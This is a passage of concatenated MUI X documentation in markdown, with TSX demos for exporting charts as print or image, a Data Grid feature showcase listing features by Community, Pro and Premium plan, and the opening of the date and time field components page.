            data: [4, 3, 1, 3, 4],
            label: 'Line',
          },
        ]}
        xAxis={[
          {
            data: ['A', 'B', 'C', 'D', 'E'],
            scaleType: 'band',
            id: 'x-axis-id',
            height: 24,
          },
        ]}
        yAxis={[{ width: 20 }]}
        margin={{ bottom: 0 }}
      >
        <CustomChartWrapper>
          <Typography variant="h6">Composite Chart</Typography>
          <ChartsSurface>
            <BarPlot />
            <LinePlot />
            <MarkPlot />
            <ChartsXAxis axisId="x-axis-id" />
            <ChartsYAxis />
          </ChartsSurface>
          <ChartsLegend direction="horizontal" />
        </CustomChartWrapper>
      </ChartDataProviderPro>
    </Stack>
  );
}

```

## Content Security Policy (CSP)

If your application uses a Content Security Policy (CSP), you might need to adjust it for exporting to work correctly.
See [the dedicated document on CSP](/x/react-charts/content-security-policy/) for more details.

## apiRef

### Print or export as PDF

The `apiRef` prop exposes the `exportAsPrint()` method that can be used to open the browser's print dialog.
The print dialog lets you print the chart or save it as a PDF, as well as configure other settings.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import Select, { SelectChangeEvent } from '@mui/material/Select';
import InputLabel from '@mui/material/InputLabel';
import FormControl from '@mui/material/FormControl';
import MenuItem from '@mui/material/MenuItem';
import { ScatterChartPro } from '@mui/x-charts-pro/ScatterChartPro';
import { ChartProApi } from '@mui/x-charts-pro/context';
import { BarChartPro } from '@mui/x-charts-pro/BarChartPro';
import { LineChartPro } from '@mui/x-charts-pro/LineChartPro';
import { Heatmap } from '@mui/x-charts-pro/Heatmap';
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';
import { useChartProApiRef } from '@mui/x-charts-pro/hooks';
import { RadarChartPro } from '@mui/x-charts-pro/RadarChartPro';
import { PieChartPro } from '@mui/x-charts-pro/PieChartPro';
import { Unstable_SankeyChart } from '@mui/x-charts-pro/SankeyChart';
import { data } from './randomData';
import { heatmapData } from './heatmapData';

const scatterSeries = [
  {
    label: 'Series A',
    data: data.map((v) => ({ x: v.x1, y: v.y1, id: v.id })),
  },
  {
    label: 'Series B',
    data: data.map((v) => ({ x: v.x1, y: v.y2, id: v.id })),
  },
];
const sankeySeries = {
  data: {
    links: [
      { source: 'A', target: 'B', value: 10 },
      { source: 'A', target: 'C', value: 5 },
      { source: 'B', target: 'D', value: 8 },
      { source: 'C', target: 'D', value: 3 },
    ],
  },
};
const series = [
  { label: 'Series A', data: data.map((p) => p.y1) },
  { label: 'Series B', data: data.map((p) => p.y2) },
];

type ChartType =
  | 'scatter'
  | 'line'
  | 'bar'
  | 'pie'
  | 'heatmap'
  | 'funnel'
  | 'radar'
  | 'sankey';

export default function PrintChart() {
  const [chartType, setChartType] = React.useState<ChartType>('scatter');
  const apiRef = useChartProApiRef<ChartType>();

  const handleChange = (event: SelectChangeEvent) =>
    setChartType(event.target.value as ChartType);

  return (
    <Stack width="100%" sx={{ display: 'block' }}>
      <Stack
        width="100%"
        direction="row"
        gap={2}
        justifyContent="center"
        sx={{ mb: 1 }}
      >
        <FormControl sx={{ minWidth: 200 }}>
          <InputLabel id="chart-type-label">Chart Type</InputLabel>
          <Select
            labelId="chart-type-label"
            id="chart-type-select"
            value={chartType}
            label="Chart Type"
            onChange={handleChange}
          >
            <MenuItem value="scatter">Scatter</MenuItem>
            <MenuItem value="line">Line</MenuItem>
            <MenuItem value="bar">Bar</MenuItem>
            <MenuItem value="pie">Pie</MenuItem>
            <MenuItem value="heatmap">Heatmap</MenuItem>
            <MenuItem value="funnel">Funnel</MenuItem>
            <MenuItem value="radar">Radar</MenuItem>
            <MenuItem value="sankey">Sankey</MenuItem>
          </Select>
        </FormControl>
        <Button onClick={() => apiRef.current!.exportAsPrint()} variant="contained">
          Print
        </Button>
      </Stack>
      <Chart key={chartType} apiRef={apiRef} type={chartType} />
    </Stack>
  );
}

function Chart<T extends ChartType = ChartType>({
  apiRef,
  type,
}: {
  apiRef: React.RefObject<ChartProApi<T> | undefined>;
  type: T;
}) {
  switch (type) {
    case 'scatter':
      return (
        <ScatterChartPro
          apiRef={apiRef as React.RefObject<ChartProApi<'scatter'> | undefined>}
          height={300}
          series={scatterSeries}
        />
      );
    case 'line':
      return (
        <LineChartPro
          apiRef={apiRef as React.RefObject<ChartProApi<'line'> | undefined>}
          height={300}
          xAxis={[{ data: data.map((p) => p.x1).toSorted((a, b) => a - b) }]}
          series={series}
        />
      );
    case 'bar':
      return (
        <BarChartPro
          apiRef={apiRef as React.RefObject<ChartProApi<'bar'> | undefined>}
          height={300}
          xAxis={[
            { data: data.map((p) => Math.round(p.x1)).toSorted((a, b) => a - b) },
          ]}
          series={series}
        />
      );
    case 'pie':
      return (
        <PieChartPro
          apiRef={apiRef as React.RefObject<ChartProApi<'pie'> | undefined>}
          series={[
            {
              arcLabel: 'value',
              data: [
                { id: 0, value: 10, label: 'series A' },
                { id: 1, value: 15, label: 'series B' },
                { id: 2, value: 20, label: 'series C' },
              ],
            },
          ]}
          height={300}
          hideLegend={false}
        />
      );
    case 'heatmap':
      return (
        <Heatmap
          apiRef={apiRef as React.RefObject<ChartProApi<'heatmap'> | undefined>}
          xAxis={[{ data: [1, 2, 3, 4] }]}
          yAxis={[{ data: ['A', 'B', 'C', 'D', 'E'] }]}
          series={[{ data: heatmapData }]}
          height={300}
          hideLegend={false}
        />
      );
    case 'funnel':
      return (
        <FunnelChart
          apiRef={apiRef as React.RefObject<ChartProApi<'funnel'> | undefined>}
          width={400}
          height={300}
          series={[
            {
              data: [
                { label: 'Visitors', value: 200 },
                { label: 'Product Page Views', value: 180 },
                { label: 'Added to Cart', value: 90 },
                { label: 'Purchased', value: 50 },
              ],
            },
          ]}
        />
      );
    case 'radar':
      return (
        <RadarChartPro
          apiRef={apiRef as React.RefObject<ChartProApi<'radar'> | undefined>}
          height={300}
          series={[{ label: 'Lisa', data: [120, 98, 86, 99, 85, 65] }]}
          radar={{
            max: 120,
            metrics: [
              'Math',
              'Chinese',
              'English',
              'Geography',
              'Physics',
              'History',
            ],
          }}
        />
      );
    case 'sankey':
      return (
        <Unstable_SankeyChart
          apiRef={apiRef as React.RefObject<ChartProApi<'sankey'> | undefined>}
          height={300}
          series={sankeySeries}
        />
      );
    default:
      throw new Error(`Unknown chart type: ${type}`);
  }
}

```

### Export as image

The `apiRef` prop also exposes the `exportAsImage()` method to export the chart as an image.
The function accepts an options object with the `type` property which specifies the image format.
The available formats are:

- `image/png` and `image/jpeg` which can both be used across all [supported platforms](/material-ui/getting-started/supported-platforms/)
- `image/webp` which is only supported in some browsers

If the format is not supported by the browser, `exportAsImage()` falls back to `image/png`.

For lossy formats such as `image/jpeg` and `image/webp`, the options object accepts the `quality` property which sets a numerical value between 0 and 1.
The default is 0.9.

```tsx
import * as React from 'react';
import Button from '@mui/material/Button';
import FormControl from '@mui/material/FormControl';
import FormControlLabel from '@mui/material/FormControlLabel';
import FormLabel from '@mui/material/FormLabel';
import Radio from '@mui/material/Radio';
import RadioGroup from '@mui/material/RadioGroup';
import Stack from '@mui/material/Stack';
import TextField from '@mui/material/TextField';
import { LineChartPro } from '@mui/x-charts-pro/LineChartPro';
import { useChartProApiRef } from '@mui/x-charts-pro/hooks';
import { ChartProApi } from '@mui/x-charts-pro/context';

function ExportParamsSelector({
  apiRef,
}: {
  apiRef: React.RefObject<ChartProApi | undefined>;
}) {
  const [type, setType] = React.useState('image/png');
  const [rawQuality, setRawQuality] = React.useState('0.9');
  const quality = Math.max(0, Math.min(1, Number.parseFloat(rawQuality)));

  return (
    <Stack justifyContent="space-between" gap={2} sx={{ width: '100%' }}>
      <FormControl fullWidth>
        <FormLabel id="image-format-radio-buttons-group-label">
          Image Format
        </FormLabel>
        <RadioGroup
          row
          aria-labelledby="image-format-radio-buttons-group-label"
          name="image-format"
          value={type}
          onChange={(event) =>
            setType(event.target.value as 'image/png' | 'image/jpeg' | 'image/webp')
          }
        >
          <FormControlLabel
            value="image/png"
            control={<Radio />}
            label="image/png"
          />
          <FormControlLabel
            value="image/jpeg"
            control={<Radio />}
            label="image/jpeg"
          />
          <FormControlLabel
            value="image/webp"
            control={<Radio />}
            label="image/webp"
          />
        </RadioGroup>
      </FormControl>
      <FormControl>
        <TextField
          label="Quality"
          value={rawQuality}
          onChange={(event) => setRawQuality(event.target.value)}
          disabled={type === 'image/png'}
          helperText="Only applicable to lossy formats."
        />
      </FormControl>
      <div>
        <Button
          onClick={() => apiRef.current!.exportAsImage({ type, quality })}
          variant="contained"
        >
          Export Image
        </Button>
      </div>
    </Stack>
  );
}

export default function ExportChartAsImage() {
  const apiRef = useChartProApiRef<'line'>();

  return (
    <Stack width="100%" gap={2}>
      <LineChartPro
        apiRef={apiRef}
        xAxis={[{ data: [1, 2, 3, 5, 8, 10] }]}
        series={[
          { data: [4, 9, 1, 4, 9, 6], label: 'Series A' },
          {
            data: [2, 5.5, 2, 8.5, 1.5, 5],
            area: true,
            label: 'Series B',
          },
        ]}
        height={300}
        grid={{ vertical: true, horizontal: true }}
      />
      <ExportParamsSelector apiRef={apiRef} />
    </Stack>
  );
}

```

---

# Source: https://mui.com/x/react-data-grid/features.md

# Data Grid feature showcase

Explore all of the available features in each of the Data Grid packages.

The demo below uses the Data Grid to list all available features in the Community, Pro, and Premium packages.
Check it out to help determine which package is best for you, and see features like filtering, sorting, and grouping in action.

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  DataGridPremiumProps,
  gridClasses,
  GridColDef,
  GridEventListener,
  GridRenderCellParams,
  GridRowParams,
  Toolbar,
  useGridApiRef,
  QuickFilter,
  QuickFilterControl,
  QuickFilterClear,
} from '@mui/x-data-grid-premium';
import Link from '@mui/material/Link';
import Chip from '@mui/material/Chip';
import Typography from '@mui/material/Typography';
import Box from '@mui/material/Box';
import ArrowUp from '@mui/icons-material/KeyboardArrowUp';
import ArrowDown from '@mui/icons-material/KeyboardArrowDown';
import KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';
import { useTheme, alpha, styled } from '@mui/material/styles';
import { yellow, blue, green } from '@mui/material/colors';
import TextField from '@mui/material/TextField';
import InputAdornment from '@mui/material/InputAdornment';
import SearchIcon from '@mui/icons-material/Search';
import CancelIcon from '@mui/icons-material/Cancel';
import AggregationRowGrouping from '../aggregation/AggregationRowGrouping';
import BasicColumnPinning from '../column-pinning/BasicColumnPinning';
import ColumnSelectorGrid from '../column-visibility/ColumnSelectorGrid';
import ExcelExport from '../export/ExcelExport';
import QuickFilteringGrid from '../filtering/QuickFilteringGrid';
import BasicDetailPanels from '../master-detail/BasicDetailPanels';
import RowGroupingInitialState from '../row-grouping/RowGroupingInitialState';
import RowOrderingGrid from '../row-ordering/RowOrderingGrid';
import RowPinningWithPagination from '../row-pinning/RowPinningWithPagination';
import RestoreStateInitialState from '../state/RestoreStateInitialState';
import TreeDataFullExample from '../tree-data/TreeDataFullExample';
import ColumnVirtualizationGrid from '../virtualization/ColumnVirtualizationGrid';
import FullFeaturedDemo from './FullFeaturedDemo';
import LazyLoadingGrid from '../row-updates/LazyLoadingGrid';
import BasicGroupingDemo from '../column-groups/BasicGroupingDemo';
import EditingWithDatePickers from '../custom-columns/EditingWithDatePickers';
import CellSelectionGrid from '../cell-selection/CellSelectionRangeStyling';
import HeaderFilteringDataGridPro from '../filtering/HeaderFilteringDataGridPro';
import ClipboardPaste from '../clipboard/ClipboardPaste';
import GridPivotingInitialState from '../pivoting/GridPivotingInitialState';
import GridChartsIntegrationPivoting from '../charts-integration/GridChartsIntegrationPivoting';
import AssistantWithExamples from '../ai-assistant/AssistantWithExamples';

type Row = {
  id: number;
  name: string;
  description: string;
  plan: string;
  detailPage: string;
  demo: React.JSX.Element;
  newBadge?: boolean;
  linkToCode?: string;
};

export const featuresSet: Row[] = [
  {
    id: 1,
    name: 'Master-detail row panels',
    description:
      'Display parent rows with collapsible child panels (as seen in this demo).',
    plan: 'Pro',
    detailPage: '/master-detail/',
    demo: <BasicDetailPanels />,
    linkToCode: '/master-detail/#system-BasicDetailPanels.tsx',
  },
  {
    id: 2,
    name: 'Inline editing',
    description: 'Edit data inside cells by double-clicking or pressing Enter.',
    plan: 'Community',
    detailPage: '/editing/',
    demo: <EditingWithDatePickers />,
    linkToCode: '/recipes-editing/#system-EditingWithDatePickers.tsx',
  },
  {
    id: 3,
    name: 'Column grouping',
    description: 'Group columns in a multi-level hierarchy.',
    plan: 'Community',
    detailPage: '/column-groups/',
    demo: <BasicGroupingDemo />,
    linkToCode: '/column-groups/#system-BasicGroupingDemo.tsx',
  },
  {
    id: 4,
    name: 'Lazy loading',
    description: 'Paginate rows and only fetch what you need.',
    plan: 'Pro',
    detailPage: '/row-updates/#lazy-loading',
    demo: <LazyLoadingGrid />,
    linkToCode: '/row-updates/#system-LazyLoadingGrid.tsx',
  },
  {
    id: 5,
    name: 'Save and restore state',
    description:
      'Save and restore internal state and configurations like active filters and sorting.',
    plan: 'Community',
    detailPage: '/state/#save-and-restore-the-state',
    demo: <RestoreStateInitialState />,
    linkToCode: '/state/#system-RestoreStateInitialState.tsx',
  },
  {
    id: 6,
    name: 'Row grouping',
    description: 'Group rows with repeating column values.',
    plan: 'Premium',
    detailPage: '/row-grouping/',
    demo: <RowGroupingInitialState />,
    linkToCode: '/row-grouping/#system-RowGroupingInitialState.tsx',
  },
  {
    id: 7,
    name: 'Excel export',
    description: 'Export rows in various file formats such as CSV, PDF or Excel.',
    plan: 'Premium',
    detailPage: '/export/#excel-export',
    demo: <ExcelExport />,
    linkToCode: '/export/#system-ExcelExport.tsx',
  },
  {
    id: 8,
    name: 'Quick filter',
    description: 'Use a single text input to filter multiple fields.',
    plan: 'Community',
    detailPage: '/filtering/quick-filter/',
    demo: <QuickFilteringGrid />,
    linkToCode: '/filtering/quick-filter/#system-QuickFilteringGrid.tsx',
  },
  {
    id: 9,
    name: 'Row reordering',
    description: 'Drag and drop to reorder data.',
    plan: 'Pro',
    detailPage: '/row-ordering/',
    demo: <RowOrderingGrid />,
    linkToCode: '/row-ordering/#system-RowOrderingGrid.tsx',
  },
  {
    id: 10,
    name: 'Column Pinning',
    description: 'Pin columns to the left or right.',
    plan: 'Pro',
    detailPage: '/column-pinning/',
    demo: <BasicColumnPinning />,
    linkToCode: '/column-pinning/#system-BasicColumnPinning.tsx',
  },
  {
    id: 11,
    name: 'Row pinning',
    description: 'Pin rows to the top or bottom of the Grid.',
    plan: 'Pro',
    detailPage: '/row-pinning/',
    demo: <RowPinningWithPagination />,
    linkToCode: '/row-pinning/#system-RowPinningWithPagination.tsx',
  },
  {
    id: 12,
    name: 'Aggregation and Summary rows',
    description: 'Set summary footer rows or inline summaries with row grouping.',
    plan: 'Premium',
    detailPage: '/aggregation/',
    demo: <AggregationRowGrouping />,
    linkToCode: '/aggregation/#system-AggregationRowGrouping.tsx',
  },
  {
    id: 13,
    name: 'Column visibility',
    description: 'Display different columns for different use cases.',
    plan: 'Community',
    detailPage: '/column-visibility/',
    demo: <ColumnSelectorGrid />,
    linkToCode: '/column-visibility/#system-ColumnSelectorGrid.tsx',
  },
  {
    id: 14,
    name: 'Column virtualization',
    description: 'High-performance support for thousands of columns.',
    plan: 'Community',
    detailPage: '/virtualization/#column-virtualization',
    demo: <ColumnVirtualizationGrid />,
    linkToCode: '/virtualization/#system-ColumnVirtualizationGrid.tsx',
  },
  {
    id: 15,
    name: 'Row virtualization',
    description: 'High-performance support for large volumes of data.',
    plan: 'Pro',
    detailPage: '/virtualization/#row-virtualization',
    demo: <FullFeaturedDemo />,
  },
  {
    id: 16,
    name: 'Tree data',
    description: 'Support rows with a parent/child relationship.',
    plan: 'Pro',
    detailPage: '/tree-data/',
    demo: <TreeDataFullExample />,
    linkToCode: '/tree-data/#system-TreeDataFullExample.tsx',
  },
  {
    id: 17,
    name: 'Cell selection',
    description:
      'Select one or more cells by dragging the mouse or using the Shift key.',
    plan: 'Premium',
    detailPage: '/cell-selection/',
    demo: <CellSelectionGrid />,
    linkToCode: '/cell-selection/#system-CellSelectionGrid.tsx',
  },
  {
    id: 18,
    name: 'Clipboard paste',
    description:
      'Copy and paste selected cells and rows using standard keyboard shortcuts.',
    plan: 'Premium',
    detailPage: '/clipboard/#clipboard-paste',
    demo: <ClipboardPaste />,
    linkToCode: '/clipboard/#system-ClipboardPaste.tsx',
  },
  {
    id: 19,
    name: 'Header filters',
    description:
      'Quickly accessible and customizable header filters to filter the data.',
    plan: 'Pro',
    detailPage: '/filtering/#header-filters',
    demo: <HeaderFilteringDataGridPro />,
    linkToCode: '/filtering/header-filters/#system-HeaderFilteringDataGridPro.tsx',
  },
  {
    id: 20,
    name: 'Pivoting',
    description:
      'Rearrange rows and columns to view data from multiple perspectives.',
    plan: 'Premium',
    detailPage: '/pivoting/',
    demo: <GridPivotingInitialState />,
    linkToCode: '/pivoting/#system-GridPivotingInitialState.tsx',
  },
  {
    id: 21,
    name: 'Charts integration',
    description: 'Visualize data with charts.',
    plan: 'Premium',
    detailPage: '/charts-integration/',
    demo: <GridChartsIntegrationPivoting />,
    linkToCode: '/charts-integration/#system-GridChartsIntegrationPivoting.tsx',
  },
  {
    id: 22,
    name: 'AI Assistant',
    description: 'Translate natural language into a set of grid state updates.',
    plan: 'Premium',
    detailPage: '/ai-assistant/',
    demo: <AssistantWithExamples />,
    linkToCode: '/ai-assistant/#system-AssistantWithExamples.tsx',
  },
];

function getChipProperties(plan: string) {
  switch (plan) {
    case 'Premium':
      return { avatarLink: '/static/x/premium.svg' };
    case 'Pro':
      return { avatarLink: '/static/x/pro.svg' };
    default:
      return { avatarLink: '/static/x/community.svg' };
  }
}

const chipColor = {
  light: {
    Premium: { background: yellow[50], border: alpha(yellow[900], 0.4) },
    Pro: { background: blue[50], border: alpha(blue[900], 0.2) },
    Community: { background: green[50], border: alpha(green[900], 0.2) },
  },
  dark: {
    Premium: {
      background: alpha(yellow[900], 0.4),
      border: alpha(yellow[300], 0.4),
    },
    Pro: { background: alpha(blue[600], 0.4), border: alpha(blue[300], 0.4) },
    Community: {
      background: alpha(green[600], 0.4),
      border: alpha(green[300], 0.4),
    },
  },
} as const;
function PlanTag(props: { plan: 'Premium' | 'Pro' | 'Community' }) {
  const theme = useTheme();
  const chipProperties = getChipProperties(props.plan);
  const avatar = !chipProperties.avatarLink ? undefined : (
    <img src={chipProperties.avatarLink} width={21} height={24} alt="" />
  );
  return (
    <Chip
      variant="outlined"
      size="small"
      avatar={avatar}
      label={props.plan}
      sx={{
        pl: 0.5,
        backgroundColor: chipColor.light[props.plan].background,
        borderColor: chipColor.light[props.plan].border,
        ...theme.applyStyles('dark', {
          backgroundColor: chipColor.dark[props.plan].background,
          borderColor: chipColor.dark[props.plan].border,
        }),

        '& .MuiChip-label': {
          fontWeight: 'medium',
          fontSize: theme.typography.pxToRem(12),
          pl: 1,
        },
        '& .MuiChip-avatar': {
          width: 16,
        },
      }}
    />
  );
}

const StyledToolbar = styled(Toolbar)(({ theme }) => ({
  padding: theme.spacing(1.5),
  minHeight: 'auto',
}));

const StyledQuickFilter = styled(QuickFilter)({
  margin: 0,
  width: '100%',
});

function CustomToolbar() {
  return (
    <StyledToolbar>
      <StyledQuickFilter>
        <QuickFilterControl
          render={({ ref, ...other }) => (
            <TextField
              {...other}
              sx={{ width: '100%' }}
              inputRef={ref}
              aria-label="Search"
              placeholder="Search by feature name or description"
              size="small"
              slotProps={{
                input: {
                  startAdornment: (
                    <InputAdornment position="start">
                      <SearchIcon fontSize="small" />
                    </InputAdornment>
                  ),
                  endAdornment: other.value ? (
                    <InputAdornment position="end">
                      <QuickFilterClear
                        edge="end"
                        size="small"
                        aria-label="Clear search"
                        material={{ sx: { marginRight: -0.75 } }}
                      >
                        <CancelIcon fontSize="small" />
                      </QuickFilterClear>
                    </InputAdornment>
                  ) : null,
                },
              }}
            />
          )}
        />
      </StyledQuickFilter>
    </StyledToolbar>
  );
}

function RowDemo(props: { row: Row }) {
  const { row } = props;
  const theme = useTheme();

  return (
    <Box
      sx={{
        py: 6,
        bgcolor: 'grey.50', // dark color is the branding theme's primaryDark.800
        ...theme.applyStyles('dark', {
          bgcolor: '#141A1F',
        }),
        borderBottom: '1px solid',
        borderColor: 'divider',
      }}
    >
      <div style={{ width: '90%', margin: 'auto' }}>
        <div>{row.demo}</div>
        {row.linkToCode ? (
          <Link
            href={`/x/react-data-grid${row.linkToCode}`}
            target="_blank"
            color="primary"
            variant="body2"
            sx={{
              mt: 1.5,
              fontWeight: 'bold',
              fontFamily: 'IBM Plex Sans',
              display: 'inline-flex',
              alignItems: 'center',
              '& > svg': { transition: '0.2s' },
              '&:hover > svg': { transform: 'translateX(2px)' },
            }}
          >
            View the demo source
            <KeyboardArrowRightRounded
              fontSize="small"
              sx={{ mt: '1px', ml: '2px' }}
            />
          </Link>
        ) : null}
      </div>
    </Box>
  );
}

function CustomSizeAggregationFooter(props: { value: string | undefined }) {
  return (
    <Typography sx={{ fontWeight: 500, fontSize: '1em' }} color="primary">
      Total: {props.value}
    </Typography>
  );
}

const columns: GridColDef[] = [
  {
    field: 'name',
    headerName: 'Feature name',
    maxWidth: 172,
    flex: 0.2,
    minWidth: 100,
    groupable: false,
    display: 'flex',
    renderCell: (params) => {
      if (params.aggregation) {
        return <CustomSizeAggregationFooter value={params.formattedValue} />;
      }
      if (!params.value) {
        return '';
      }
      return (
        <Box
          sx={{
            width: '100%',
            height: '100%',
            position: 'relative',
            display: 'flex',
            alignItems: 'center',
          }}
        >
          <Typography variant="body2" fontWeight="medium" fontFamily="IBM Plex Sans">
            <Link
              href={`/x/react-data-grid${params.row.detailPage}`}
              target="_blank"
            >
              {params.value}
            </Link>
          </Typography>
          {params.row.newBadge && (
            <Chip
              label="New"
              color="success"
              size="small"
              sx={(theme) => ({
                ml: 1,
                p: 0.2,
                height: 'auto',
                fontSize: theme.typography.pxToRem(10),
                fontWeight: 'bold',
                textTransform: 'uppercase',
                letterSpacing: '.04rem',
                '& .MuiChip-label': {
                  px: '4px',
                },
              })}
            />
          )}
        </Box>
      );
    },
  },
  {
    field: 'description',
    headerName: 'Description',
    groupable: false,
    flex: 0.5,
    minWidth: 120,
  },
  {
    field: 'plan',
    headerName: 'Plan',
    maxWidth: 130,
    flex: 0.3,
    type: 'singleSelect',
    valueOptions: ['Premium', 'Pro', 'Community'],
    display: 'flex',
    renderCell: (params: GridRenderCellParams<any, string>) => {
      if (params.aggregation) {
        return <CustomSizeAggregationFooter value={params.formattedValue} />;
      }
      if (!params.value) {
        return '';
      }
      return <PlanTag plan={params.value as 'Premium' | 'Pro' | 'Community'} />;
    },
    sortComparator: (p1, p2) => {
      function getSortingValue(plan: string) {
        switch (plan) {
          case 'Pro':
            return 1;
          case 'Premium':
            return 2;
          default:
            return 0;
        }
      }
      const p1Value = getSortingValue(p1);
      const p2Value = getSortingValue(p2);
      return p1Value - p2Value;
    },
  },
];

const mainDataGridCellClassName = 'main-data-grid-cell';
const getCellClassName = () => mainDataGridCellClassName;

export default function PopularFeaturesDemo() {
  const apiRef = useGridApiRef();

  const getDetailPanelContent = React.useCallback<
    NonNullable<DataGridPremiumProps['getDetailPanelContent']>
  >((params: GridRowParams) => {
    return <RowDemo row={params.row} />;
  }, []);

  const getRowHeight = React.useCallback<
    NonNullable<DataGridPremiumProps['getRowHeight']>
  >(() => 'auto', []);
  const getDetailPanelHeight = React.useCallback<
    NonNullable<DataGridPremiumProps['getDetailPanelHeight']>
  >(() => 'auto', []);

  const onRowClick = React.useCallback<GridEventListener<'rowClick'>>(
    (params) => {
      const rowNode = apiRef.current?.getRowNode(params.id);
      if (rowNode && rowNode.type === 'group') {
        apiRef.current?.setRowChildrenExpansion(
          params.id,
          !rowNode.childrenExpanded,
        );
      } else {
        apiRef.current?.toggleDetailPanel(params.id);
      }
    },
    [apiRef],
  );

  const memoizedGroupingDef = React.useMemo(() => {
    return {
      headerName: 'Grouped by Plan',
      width: 200,
    };
  }, []);

  return (
    <Box
      sx={{
        display: 'flex',
        flexDirection: 'column',
        minHeight: 1000,
        width: '100%',
      }}
    >
      <DataGridPremium
        apiRef={apiRef}
        disableRowSelectionOnClick
        onRowClick={onRowClick}
        slots={{
          toolbar: CustomToolbar,
          detailPanelExpandIcon: ArrowDown as any,
          detailPanelCollapseIcon: ArrowUp as any,
        }}
        showToolbar
        getDetailPanelContent={getDetailPanelContent}
        getDetailPanelHeight={getDetailPanelHeight}
        getRowHeight={getRowHeight}
        initialState={{
          sorting: {
            sortModel: [{ field: 'plan', sort: 'asc' }],
          },
        }}
        scrollbarSize={0}
        getCellClassName={getCellClassName}
        sx={{
          fontFamily: 'IBM Plex Sans',
          // Do not target cells in nested grids
          [`.${gridClasses.cell}.${mainDataGridCellClassName}`]: {
            py: 1.5,
          },
          [`& .${gridClasses.columnHeaderTitle}`]: {
            fontWeight: 'medium',
          },
          [`& .${gridClasses.withBorderColor}`]: {
            borderColor: 'divider',
          },
          [`& .${gridClasses.detailPanel}`]: {
            backgroundColor: 'transparent',
          },
          [`& .${gridClasses.cell}:focus, & .${gridClasses.cell}:focus-within`]: {
            outline: 'none',
          },
          [`& .${gridClasses.columnHeader}:focus, & .${gridClasses.columnHeader}:focus-within`]:
            {
              outline: 'none',
            },
          borderRadius: 2,
        }}
        rows={featuresSet}
        columns={columns}
        hideFooter
        groupingColDef={memoizedGroupingDef}
      />
    </Box>
  );
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-date-pickers/fields.md

---
productId: x-date-pickers
title: React Date Fields components
components: DateField, TimeField, DateTimeField, MultiInputDateRangeField, SingleInputDateRangeField, MultiInputTimeRangeField, SingleInputTimeRangeField, MultiInputDateTimeRangeField, SingleInputDateTimeRangeField
githubLabel: 'scope: pickers'
packageName: '@mui/x-date-pickers'
---

# Fields component

The field components let the user input date and time values with a keyboard and refined keyboard navigation.

## Introduction

The fields are React components that let you enter a date or time with the keyboard, without using any popover or modal UI.
They provide refined navigation through arrow keys and support advanced behaviors like localization and validation.

### Fields to edit a single element

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateField } from '@mui/x-date-pickers/DateField';
import { TimeField } from '@mui/x-date-pickers/TimeField';
import { DateTimeField } from '@mui/x-date-pickers/DateTimeField';

const defaultValue = dayjs('2022-04-17T15:30');

export default function SingleDateFieldExamples() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateField', 'TimeField', 'DateTimeField']}>
        <DemoItem label="DateField">
          <DateField defaultValue={defaultValue} />
        </DemoItem>
        <DemoItem label="TimeField">
          <TimeField defaultValue={defaultValue} />
        </DemoItem>
        <DemoItem label="DateTimeField">
          <DateTimeField defaultValue={defaultValue} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Fields to edit a range [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

All fields to edit a range are available in a single input version and in a multi-input version.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { SingleInputDateRangeField } from '@mui/x-date-pickers-pro/SingleInputDateRangeField';
import { MultiInputDateRangeField } from '@mui/x-date-pickers-pro/MultiInputDateRangeField';
import { SingleInputTimeRangeField } from '@mui/x-date-pickers-pro/SingleInputTimeRangeField';
import { MultiInputTimeRangeField } from '@mui/x-date-pickers-pro/MultiInputTimeRangeField';
import { MultiInputDateTimeRangeField } from '@mui/x-date-pickers-pro/MultiInputDateTimeRangeField';
import { SingleInputDateTimeRangeField } from '@mui/x-date-pickers-pro/SingleInputDateTimeRangeField';

const date1 = dayjs('2022-04-17T15:30');
const date2 = dayjs('2022-04-21T18:30');

export default function DateRangeFieldExamples() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'SingleInputDateRangeField',
          'SingleInputTimeRangeField',
          'SingleInputDateTimeRangeField',
          'MultiInputDateRangeField',
          'MultiInputTimeRangeField',
          'MultiInputDateTimeRangeField',
        ]}
      >
        <DemoItem label="SingleInputDateRangeField">
          <SingleInputDateRangeField defaultValue={[date1, date2]} />
        </DemoItem>
        <DemoItem label="SingleInputTimeRangeField">
          <SingleInputTimeRangeField defaultValue={[date1, date2]} />
        </DemoItem>
        <DemoItem label="SingleInputDateTimeRangeField">
          <SingleInputDateTimeRangeField defaultValue={[date1, date2]} />
        </DemoItem>
        <DemoItem
          label="MultiInputDateRangeField"
          component="MultiInputDateRangeField"
        >
          <MultiInputDateRangeField defaultValue={[date1, date2]} />
        </DemoItem>
        <DemoItem
          label="MultiInputTimeRangeField"
          component="MultiInputTimeRangeField"
        >
          <MultiInputTimeRangeField defaultValue={[date1, date2]} />
        </DemoItem>
        <DemoItem
          label="MultiInputDateTimeRangeField"
          component="MultiInputDateTimeRangeField"
        >
          <MultiInputDateTimeRangeField defaultValue={[date1, date2]} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Advanced

### What is a section?

In the field components, the date is divided into several sections, each one responsible for editing a date token.
For example, if the format passed to the field is `MM/DD/YYYY`, the field will create 3 sections:

- A `month` section for the token `MM`
- A `day` section for the token `DD`
- A `year` section for the token `YYYY`

